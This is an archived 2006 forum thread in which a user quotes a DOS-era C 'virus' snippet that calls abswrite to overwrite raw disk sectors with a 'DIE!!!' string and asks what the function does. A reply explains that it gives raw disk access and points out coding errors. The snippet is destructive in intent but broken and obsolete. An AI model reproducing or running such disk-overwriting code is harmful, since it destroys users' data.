PDA

View Full Version : C Command



Moonbat
09-20-2006, 05:25 PM
I've seen the command 'abswrite' in many 'viruses' that basically bombard your computer with messages. What exactly does abswrite do. Here is an example of how it is used:

#include
#include

main()
{
char *vir;
int i;

strcpy(vir,"");
for (i=0; i<40; i++)
strcat(vir,"DIE!!!!!!!!!!!!!");
abswrite(2,50,0,vir);
abswrite(*,50,0,vir);
abswrite(4,50,0,vir);
abswrite(5,50,0,vir);
printf("Ouch dude... sorry..");
};

Ezekiel
09-21-2006, 11:12 AM
I've seen the command 'abswrite' in many 'viruses' that basically bombard your computer with messages. What exactly does abswrite do. Here is an example of how it is used:

I believe abswrite and absread are for raw disk access, bypassing the usual OS API for doing so. Those functions are only available in DOS though, so forget about using them in any modern Windows OS.



#include
#include


Include what?


main()

Should be int main().


{
char *vir;
int i;

strcpy(vir,"");
for (i=0; i<40; i++)
strcat(vir,"DIE!!!!!!!!!!!!!");
abswrite(2,50,0,vir);
abswrite(*,50,0,vir);
abswrite(4,50,0,vir);
abswrite(5,50,0,vir);
printf("Ouch dude... sorry..");
};

Should have this:


return 0;

before the closing brace (in your code, after the printf() line).

This (at the end):


};

should be:


}

Moonbat
09-21-2006, 06:16 PM
I'm not sure of this guy's coding, I just found it on the internet so he probably has a few mistakes